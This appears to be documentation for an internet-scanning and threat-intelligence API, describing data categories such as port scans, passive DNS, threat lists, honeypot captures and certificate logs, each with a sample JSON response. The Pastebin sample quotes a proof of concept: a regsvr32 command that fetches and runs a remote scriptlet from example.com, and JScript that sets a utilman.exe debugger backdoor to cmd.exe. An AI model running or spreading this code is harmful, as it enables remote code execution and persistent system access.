Standard information categories

Standard information categories are the ones any Plan user has access to. That is, even unregistered Web or registered Free Plan users have access to this kind of information. Of course, registered Free Plan users have other benefits as described on our pricing page.

The following categories are defined as standard:

  • inetnum
  • synscan
  • datascan
  • pastries
  • resolver
  • threatlist
  • geoloc
  • sniffer
  • ctl

Note: having access to a category doesn’t necessarily means that you have access to every fields (or filters) of an entry. There is also the concept of standard filters and advanced filters.

Standard information categories description

Each collected information is enriched with a timestamp and geolocation information (where applicable).

inetnum category

IP (v4 and v6) networks description as given by RIRs (Regional Internet Registries), except for the United States which does not disclose that information publicly.

{
  "count": 10,
  "error": 0,
  "max_page": 8,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "inetnum",
      "@timestamp": "2018-10-21T01:35:36.000Z",
      "@type": "doc",
      "country": "US",
      "ipv6": "false",
      "netname": "EU-EDGECASTEU-20080602",
      "seen_date": "2018-10-21",
      "source": "RIPE",
      "subnet": "93.184.208.0/20"
    },
    {
      "@category": "inetnum",
      "@timestamp": "2018-10-21T01:35:36.000Z",
      "@type": "doc",
      "country": "EU",
      "information": [
        "NETBLK-03-EU-93-184-208-0-24"
      ],
      "ipv6": "false",
      "netname": "EDGECAST-NETBLK-03",
      "seen_date": "2018-10-21",
      "source": "RIPE",
      "subnet": "93.184.208.0/24"
    },
[..]
  ],
  "status": "ok",
  "took": "0.733",
  "total": 74
}

synscan category

Open TCP ports found on the Internet. Each open port is also enriched with detected operating system (using our own TCP/IP stack fingerprinting technic). As of today, nearly 50 ports are scanned at least once a month, but other ports may be scanned according to press releases.

{
  "count": 3,
  "error": 0,
  "max_page": 2,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "synscan",
      "@timestamp": "2018-10-20T12:59:57.000Z",
      "@type": "doc",
      "asn": "AS18779",
      "city": "San Jose",
      "country": "US",
      "ip": "107.164.81.7",
      "ipv6": "false",
      "location": "37.3387,-121.8914",
      "organization": "EGIHosting",
      "os": "Linux",
      "port": "80",
      "seen_date": "2018-10-20",
      "subnet": "107.164.0.0/17"
    },
[..]
  ],
  "status": "ok",
  "took": "0.026",
  "total": 3
}

datascan category

Application responses to our application requests. Application requests are performed against found open TCP ports, or directly to some UDP ports. We are using our own technology for protocol identification. In fact, we are able to recognize more than 40 different protocols (as of today). Thanks to our methodology, instead of searching our data on a port-basis, you can simply search by protocol instead.

Furthermore, as well as crawling the clear Net for HTTP protocol, we are also crawling the clear Web by using domain name information when performing HTTP 1.1 requests with a valid HTTP Host header. Thus, we are able to identify multiple virtual hosts on a unique IP address.

{
  "count": 2,
  "error": 0,
  "max_page": 1,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "datascan",
      "@timestamp": "2018-10-26T10:30:15.000Z",
      "@type": "doc",
      "app": {
        "extract": {
          "domain": [
            "w3.org",
            "microsoft.com"
          ],
          "hostname": [
            "go.microsoft.com",
            "www.w3.org"
          ],
          "url": [
            "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd",
            "http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409",
            "http://www.w3.org/1999/xhtml"
          ]
        },
        "http": {
          "bodymd5": "ac3b7fe8b6538dad865f905fa06cf19e",
          "headermd5": "3a194f303abdadec442ba1646de5b2c8",
          "title": "IIS7"
        },
        "length": "934"
      },
      "asn": "AS18779",
      "city": "San Jose",
      "country": "US",
      "cpe": [
        "cpe:/a:microsoft:iis:7.5"
      ],
      "data": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nLast-Modified: Sat, 18 Aug 2018 21:54:32 GMT\r\nAccept-Ranges: bytes\r\nETag: \"f35f1b3e37d41:0\"\r\nServer: Microsoft-IIS/7.5\r\nX-Powered-By: ASP.NET\r\nDate: Fri, 26 Oct 2018 10:29:58 GMT\r\nContent-Length: 689\r\n\r\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />\r\n<title>IIS7</title>\r\n<style type=\"text/css\">\r\n<!--\r\nbody {\r\n\tcolor:#000000;\r\n\tbackground-color:#B3B3B3;\r\n\tmargin:0;\r\n}\r\n\r\n#container {\r\n\tmargin-left:auto;\r\n\tmargin-right:auto;\r\n\ttext-align:center;\r\n\t}\r\n\r\na img {\r\n\tborder:none;\r\n}\r\n\r\n-->\r\n</style>\r\n</head>\r\n<body>\r\n<div id=\"container\">\r\n<a href=\"http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409\"><img src=\"welcome.png\" alt=\"IIS7\" width=\"571\" height=\"411\" /></a>\r\n</div>\r\n</body>\r\n</html>",
      "datamd5": "5cad586f64f2e431634331ca755e5039",
      "device": {
        "class": "Web Server"
      },
      "ip": "107.164.96.182",
      "ipv6": "false",
      "location": "37.3387,-121.8914",
      "organization": "EGIHosting",
      "os": "Windows",
      "osvendor": "Microsoft",
      "osversion": [
        "Server 2008",
        "7"
      ],
      "port": "80",
      "product": "IIS",
      "productvendor": "Microsoft",
      "productversion": "7.5",
      "protocol": "http",
      "protocolversion": "1.1",
      "reason": "OK",
      "seen_date": "2018-10-26",
      "source": "datascan",
      "status": "200",
      "subnet": "107.164.0.0/17",
      "tag": [
        "default",
        "ok"
      ],
      "tls": "false"
    },
[..]
  ],
  "status": "ok",
  "took": "0.011",
  "total": 2
}

pastries category

Content of pasties collected in a continuous mode. As of today, only pastebin is collected. Each collected pastie is enriched with DNS information (where applicable). That is, you can search for an IP address in pastries category and you may find pasties linked to it, even though only an URL was contained in the original pastie. Same is true for domain name or many other DNS-related information.

{
  "count": 10,
  "error": 0,
  "max_page": 344,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "pastries",
      "@timestamp": "2018-10-26T09:38:41.000Z",
      "@type": "doc",
      "content": "<?XML version=\"1.0\"?>\r\n<scriptlet>\r\n\r\n<registration\r\n    description=\"Bandit\"\r\n    progid=\"Bandit\"\r\n    version=\"1.00\"\r\n    classid=\"{AAAA1111-0000-0000-0000-0000FEEDACDC}\"\r\n\t>\r\n\t\r\n\t<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll\r\n\t<!-- DFIR -->\r\n\t<!--\t\t.sct files are downloaded and executed from a path like this -->\r\n\t<!-- Though, the name and extension are arbitary.. -->\r\n\t<!-- c:\\users\\USER\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\2vcqsj3k\\file[2].sct -->\r\n\t<!-- Based on current research, no registry keys are written, since call \"uninstall\" -->\r\n\t\r\n\t\r\n\t<!-- Proof Of Concept - Casey Smith @subTee -->\r\n\t<script language=\"JScript\">\r\n\t\t<![CDATA[\r\n\t\r\n\t\t\tvar r = new ActiveXObject(\"WScript.Shell\").Run(\"calc.exe\");\r\n\t\r\n\t\t]]>\r\n\t</script>\r\n</registration>\r\n\r\n<public>\r\n    <method name=\"Exec\"></method>\r\n</public>\r\n<script language=\"JScript\">\r\n<![CDATA[\r\n\t\r\n\tfunction Exec()\r\n\t{\r\n\t\tvar r = new ActiveXObject(\"WScript.Shell\").Run(\"reg add 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\utilman.exe' /t REG_SZ /v Debugger /d 'C:\\Windows\\System32\\cmd.exe' /f\");\r\n\t}\r\n\t\r\n]]>\r\n</script>\r\n\r\n</scriptlet>",
      "domain": [
        "example.com"
      ],
      "file": [
        "utilman.exe",
        "calc.exe",
        "wscript.sh",
        "scrobj.dll",
        "cmd.exe"
      ],
      "ip": [
        "2606:2800:220:1:248:1893:25c8:1946",
        "93.184.216.34"
      ],
      "key": "2WpScvHm",
      "scheme": [
        "http"
      ],
      "seen_date": "2018-10-26",
      "size": "1178",
      "source": "pastebin",
      "syntax": "text",
      "tld": "com",
      "url": [
        "http://example.com/file.sct"
      ]
    },
[..]
  ],
  "status": "ok",
  "took": "0.028",
  "total": 504
}

resolver category

Each time an IP address (v4 or v6) or a host name is found in collected information (whatever the source category), we perform DNS requests (both forward and reverse). This passive DNS information is thus collected and stored in this information category.

{
  "count": 10,
  "error": 0,
  "max_page": 2,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "resolver",
      "@timestamp": "2018-10-22T22:27:36.000Z",
      "@type": "doc",
      "asn": "AS20940",
      "city": "Bielefeld",
      "country": "DE",
      "domain": "go.com",
      "forward": "cdn.abclocal.go.com",
      "host": "cdn",
      "ip": "2.22.52.73",
      "ipv6": "false",
      "location": "52.0106,8.5493",
      "organization": "Akamai International B.V.",
      "seen_date": "2018-10-22",
      "source": "pastries",
      "subdomains": [
        "abclocal.go.com"
      ],
      "subnet": "2.22.52.0/24",
      "tld": "com",
      "type": "forward"
    },

[..]
  ],
  "status": "ok",
  "took": "0.050",
  "total": 18
}

threatlist category

We collect and aggregate a fair number of open threat lists. As of today, 25 lists are aggregated. We also have our own threat lists based on our honeypots. For instance, we have dedicated Mirai and Broadcom UPnP hunter botnet lists.

{
  "count": 3,
  "error": 0,
  "max_page": 1,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "threatlist",
      "@timestamp": "2018-07-24T08:35:41.000Z",
      "@type": "doc",
      "asn": "AS14061",
      "city": "Frankfurt am Main",
      "country": "DE",
      "ipv6": "false",
      "location": "50.1153,8.6823",
      "organization": "DigitalOcean, LLC",
      "seen_date": "2018-07-24",
      "subnet": "206.81.18.195/32",
      "tag": [
        "botnet",
        "mirai"
      ],
      "threatlist": "ONYPHE - botnet/mirai"
    },
[..]
  ],
  "status": "ok",
  "took": "0.015",
  "total": 3
}

geoloc category

Geolocation information for IP addresses (v4 and v6) based on MaxMind Geolite2. Along with collecting and tracking that information, we also perform reverse DNS requests on records and enrich entries with that information.

{
  "count": 10,
  "error": 0,
  "max_page": 1000,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "geoloc",
      "@timestamp": "2019-04-30T10:00:00.000Z",
      "@type": "doc",
      "asn": "AS16276",
      "country": "FR",
      "domain": "ganesha.fr",
      "host": "ladaptfoad",
      "ip": "91.121.229.97",
      "ipv6": "false",
      "location": "48.8582,2.3387",
      "organization": "OVH SAS",
      "reverse": "ladaptfoad.ganesha.fr",
      "seen_date": "2019-04-30",
      "source": "geolite2",
      "subnet": "91.121.229.96/27",
      "tld": "fr"
    },
    {
      "@category": "geoloc",
      "@timestamp": "2019-04-30T10:00:00.000Z",
      "@type": "doc",
      "asn": "AS16276",
      "country": "PT",
      "domain": "ip-91-121-224.eu",
      "host": "ip11",
      "ip": "91.121.224.11",
      "ipv6": "false",
      "location": "38.7139,-9.1394",
      "organization": "OVH SAS",
      "reverse": "ip11.ip-91-121-224.eu",
      "seen_date": "2019-04-30",
      "source": "geolite2",
      "subnet": "91.121.224.10/31",
      "tld": "eu"
    },
[..]
  ],
  "status": "ok",
  "took": "0.067",
  "total": 115769
}

sniffer category

We have a number of distributed honeypots on the Internet. We are listening to Internet background noise and performing passive operating system identification (using our own TCP/IP stack fingerprinting technic).

Furthermore, when a malicious pattern is found, we are performing a synscan along with a datascan to collect more information regarding the source IP address. synscan, datascan, resolver and threatlist information categories are enriched thanks to this information category.

{
  "count": 10,
  "error": 0,
  "max_page": 38,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "sniffer",
      "@timestamp": "2018-10-26T08:55:39.000Z",
      "@type": "doc",
      "asn": "AS45899",
      "city": "Can Tho",
      "country": "VN",
      "data": "k\\xa6\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x00\\x00!\\x00\\x01",
      "datamd5": "9e172f3c20c7af5b5776dc0d1177c97c",
      "destport": "137",
      "domain": "vnpt.vn",
      "host": "static",
      "ip": "14.164.46.122",
      "ipv6": "false",
      "location": "10.0333,105.7833",
      "organization": "VNPT Corp",
      "reverse": "static.vnpt.vn",
      "seen_date": "2018-10-26",
      "srcport": "17453",
      "subnet": "14.164.0.0/14",
      "tag": [
        "hasreverse",
        "netbiosns",
        "udpdata"
      ],
      "tld": "vn",
      "transport": "udp",
      "type": "udpdata"
    },

[..]
  ],
  "status": "ok",
  "took": "0.045",
  "total": 374
}

ctl category

We collect some Certificate Transparency Logs (CTLs) X509 cerfificates information. As with some other information categories, we perform DNS requests (IP v4 and v6) to enrich collected data with DNS-related information and also feed our passive DNS (resolver information category).

{
  "count": 10,
  "error": 0,
  "max_page": 96,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "ctl",
      "@timestamp": "2018-10-26T11:45:56.000Z",
      "@type": "doc",
      "basicconstraints": [
        "critical"
      ],
      "ca": "false",
      "domain": "freese-feldhaus.de",
      "extkeyusage": [
        "serverAuth",
        "clientAuth"
      ],
      "fingerprint": {
        "md5": "63dc7530020e76cd599e914b1ede8e8e",
        "sha1": "ba4ef99d26ae0514076e33c3f5f7da40716427b9",
        "sha256": "b2b52ca06085edc1240177aaee0b6704ac9f6ebe178d5774d76de4a969fe8aac"
      },
      "host": "vpn",
      "ip": "80.228.36.150",
      "issuer": {
        "commonname": "COMODO RSA Domain Validation Secure Server CA",
        "country": "GB",
        "organization": "COMODO CA Limited"
      },
      "keyusage": [
        "critical",
        "digitalSignature",
        "keyEncipherment"
      ],
      "publickey": {
        "algorithm": "rsaEncryption",
        "exponent": "65537",
        "length": "2048"
      },
      "seen_date": "2018-10-26",
      "serial": "03:41:31:f7:9c:1c:f7:c0:59:db:b9:09:a2:aa:06:44",
      "signature": {
        "algorithm": "sha256WithRSAEncryption"
      },
      "source": "Cloudflare Nimbus 2020",
      "subject": {
        "altname": [
          "vpn.freese-feldhaus.de",
          "www.vpn.freese-feldhaus.de"
        ],
        "commonname": "www.vpn.freese-feldhaus.de"
      },
      "tld": "de",
      "validity": {
        "notafter": "2020-10-25T23:59:59.000Z",
        "notbefore": "2018-10-26T00:00:00.000Z"
      },
      "version": "v3",
      "wildcard": "false"
    },
[..]
  ],
  "status": "ok",
  "took": "0.017",
  "total": 952
}

Other information categories

But we collect more information categories as described in this post. You will have to subscribe to one of our Entreprise Plan to be able to access them.

Advanced information categories

Advanced information categories are the ones only accessible to Entreprise Plan users. Of course, these users will also have access to standard information categories.

The following categories are defined as advanced:

  • ctl
  • onionscan
  • sniffer

Note: having access to a category doesn’t necessarily means that you have access to every fields (or filters) of an entry. There is also the concept of standard filters and advanced filters.

Advanced information categories description

Each collected information is enriched with a timestamp and geolocation information (where applicable).

ctl category

We collect some Certificate Transparency Logs (CTLs) X509 cerfificates information. As with some other information categories, we perform DNS requests (IP v4 and v6) to enrich collected data with DNS-related information and also feed our passive DNS (resolver information category).

{
  "count": 1,
  "error": 0,
  "max_page": 1,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "ctl",
      "@timestamp": "2018-11-01T12:26:52.000Z",
      "@type": "doc",
      "basicconstraints": [
        "critical"
      ],
      "ca": "false",
      "domain": "okcpride.org",
      "extkeyusage": [
        "serverAuth",
        "clientAuth"
      ],
      "fingerprint": {
        "md5": "52f97eff2804873fb4fd5ae479697f17",
        "sha1": "78a27b289c7f5b03a4ab4627fe48cdc940d9658f",
        "sha256": "9a6881c653b2a23891cdb64e3b933a624a0d7637f9a4b3ac57064baf79ec7dae"
      },
      "host": "www",
      "hostname": [
        "www.okcpride.org"
      ],
      "ip": "184.168.131.241",
      "issuer": {
        "commonname": "Go Daddy Secure Certificate Authority - G2",
        "country": "US",
        "organization": "GoDaddy.com, Inc."
      },
      "keyusage": [
        "critical",
        "digitalSignature",
        "keyEncipherment"
      ],
      "publickey": {
        "algorithm": "rsaEncryption",
        "exponent": "65537",
        "length": "2048"
      },
      "seen_date": "2018-11-01",
      "serial": "c3:27:2f:1c:3f:ca:39:f5",
      "signature": {
        "algorithm": "sha256WithRSAEncryption"
      },
      "source": "Cloudflare Nimbus 2021",
      "subject": {
        "altname": [
          "www.okcpride.org",
          "okcpride.org"
        ],
        "commonname": "okcpride.org"
      },
      "tld": "org",
      "validity": {
        "notafter": "2021-01-08T20:53:00.000Z",
        "notbefore": "2018-01-08T20:53:00.000Z"
      },
      "version": "v3",
      "wildcard": "false"
    }
  ],
  "status": "ok",
  "took": "0.003",
  "total": 1
}

onionscan category

As well as crawling the clear Net and the clear Web with the datascan information category, we are also crawling the Dark Web (also known as the onion land). As of today, we are only crawling using the HTTP protocol.

{
  "count": 2,
  "error": 0,
  "max_page": 1,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "onionscan",
      "@timestamp": "2018-10-24T19:03:31.000Z",
      "@type": "doc",
      "app": {
        "extract": {
          "domain": [
            "wikipedia.org",
            "wikibooks.org",
            "haskell.org",
            "ats-lang.org"
          ],
          "file": [
            "grdt-popl03.pdf"
          ],
          "hostname": [
            "en.wikibooks.org",
            "en.wikipedia.org",
            "wiki.haskell.org",
            "www.ats-lang.org"
          ],
          "url": [
            "http://www.ats-lang.org/MYDATA/GRDT-popl03.pdf",
            "http://www.ats-lang.org/",
            "https://en.wikibooks.org/wiki/Haskell/GADT",
            "https://wiki.haskell.org/GADTs_for_dummies",
            "https://en.wikipedia.org/wiki/Generalized_algebraic_data_type"
          ]
        },
        "http": {
          "bodymd5": "d41d8cd98f00b204e9800998ecf8427e",
          "headermd5": "297ee2062d5eab6d7a30bd8656730536",
          "title": "Bluish Coder"
        },
        "length": "4096"
      },
      "cpe": [
        "cpe:/a:igor_sysoev:nginx:1.10.3"
      ],
      "data": "HTTP/1.1 200 OK\r\nContent-Length: 93915\r\nETag: \"5bc71236-16edb\"\r\nDate: Wed, 24 Oct 2018 19:03:31 GMT\r\nLast-Modified: Wed, 17 Oct 2018 10:43:02 GMT\r\nServer: nginx/1.10.3 (Ubuntu)\r\nContent-Type: text/html\r\nAccept-Ranges: bytes\r\nConnection: keep-alive\r\n\r\n\n<!DOCTYPE html>\n<html>\n<head>\n   <meta http-equiv=\"content-type\" content=\"text/html; cha
[..]
      "datamd5": "6f50408650910af16c5f8b229202264e",
      "device": {
        "class": "Web Server"
      },
      "domain": "mh7mkfvezts5j6yu.onion",
      "hostname": "mh7mkfvezts5j6yu.onion",
      "onion": "mh7mkfvezts5j6yu.onion",
      "os": "Linux",
      "osdistribution": "Ubuntu",
      "port": 80,
      "product": "Nginx",
      "productvendor": "Igor Sysoev",
      "productversion": "1.10.3",
      "protocol": "http",
      "protocolversion": "1.1",
      "reason": "OK",
      "seen_date": "2018-10-24",
      "source": "datascan",
      "status": "200",
      "tag": [
        "ok"
      ],
      "tls": "false",
      "url": "/"
    },
[..]
  ],
  "status": "ok",
  "took": "0.004",
  "total": 2
}

sniffer category

We have a number of distributed honeypots on the Internet. We are listening to Internet background noise and performing passive operating system identification (using our own TCP/IP stack fingerprinting technic).

Furthermore, when a malicious pattern is found, we are performing a synscan along with a datascan to collect more information regarding the source IP address. synscan, datascan, resolver and threatlist information categories are enriched thanks to this information category.

{
  "count": 10,
  "error": 0,
  "max_page": 3,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "sniffer",
      "@timestamp": "2018-11-01T12:20:53.000Z",
      "@type": "doc",
      "asn": "AS20952",
      "city": "London",
      "country": "GB",
      "data": "\\x0e\\xc2\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x00\\x00!\\x00\\x01",
      "datamd5": "a5cc89fe2f131f33759daf33d1906649",
      "destport": "137",
      "ip": "217.138.28.194",
      "ipv6": "false",
      "location": "51.5085,-0.1257",
      "organization": "Venus Business Communications Limited",
      "seen_date": "2018-11-01",
      "srcport": "137",
      "subnet": "217.138.0.0/16",
      "tag": [
        "netbiosns",
        "udpdata"
      ],
      "transport": "udp",
      "type": "udpdata"
    },
[..]
  ],
  "status": "ok",
  "took": "0.049",
  "total": 30
}